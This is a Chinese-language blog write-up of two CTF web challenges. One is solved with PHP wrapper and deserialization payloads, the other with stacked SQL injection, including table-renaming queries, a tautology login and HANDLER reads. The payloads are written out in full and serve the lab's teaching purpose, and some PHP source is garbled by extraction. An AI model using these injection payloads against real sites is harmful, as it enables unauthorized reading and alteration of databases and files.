nssctf刷题

[ZJCTF 2019]NiZhuanSiWei

 

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

text参数利用file_get_contents()函数只读形式打开,打开后内容要与"welcome to the zjctf"字符串相匹配.自然的想到php伪协议中的data://协议

构造payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

nssctf刷题_第1张图片

 include($file)再filter读取一下useless.php的源码

构造file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码后得到

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

对Flag类file属性赋flag.php。然后序列化传给password。

构造payload:password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:

http://1.14.71.254:28220/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

查看源码,得到flag。

[强网杯 2019]随便注

二刷了。顺便回忆一下。

 输入1查询正常,输入1'查询观看页面是否回显正常

1'#回显正常,order by查询一下字段数,发现字段数为2

nssctf刷题_第2张图片

联合查询找一下回显点位,发现被过滤

nssctf刷题_第3张图片

 过滤挺多的,各注入行不通的话,尝试堆叠注入

1'; show databases;#

nssctf刷题_第4张图片

 挨个查询后 发现 1';show tables from supersqli;#得到类似flag所在

nssctf刷题_第5张图片

 1';show columns from `1919810931114514`;#nssctf刷题_第6张图片

 看到flag。

分析:

nssctf刷题_第7张图片

 

words表,两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100)。

数字表,只有一个字段。且已知存的为flag

可以确定默认查询的表为words,我们使用rename、alter把flag所在的数字表修改为默认查询的表。

具体做法:

words名改为word123     alter table words rename to words123;

把数字表名改为 words   alter table `1919810931114514` rename to words;

现在的words表中没有id字段,我们把flag字段名改为id     alter table words change flag id varchar(100);

最终构造语句:

1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+

万能密码查询,1' or 1=1#得到flag

nssctf刷题_第8张图片

方法二:

rename和alter如果被禁了,还可以用这个

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+

(用于在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。)

你可能感兴趣的:(php)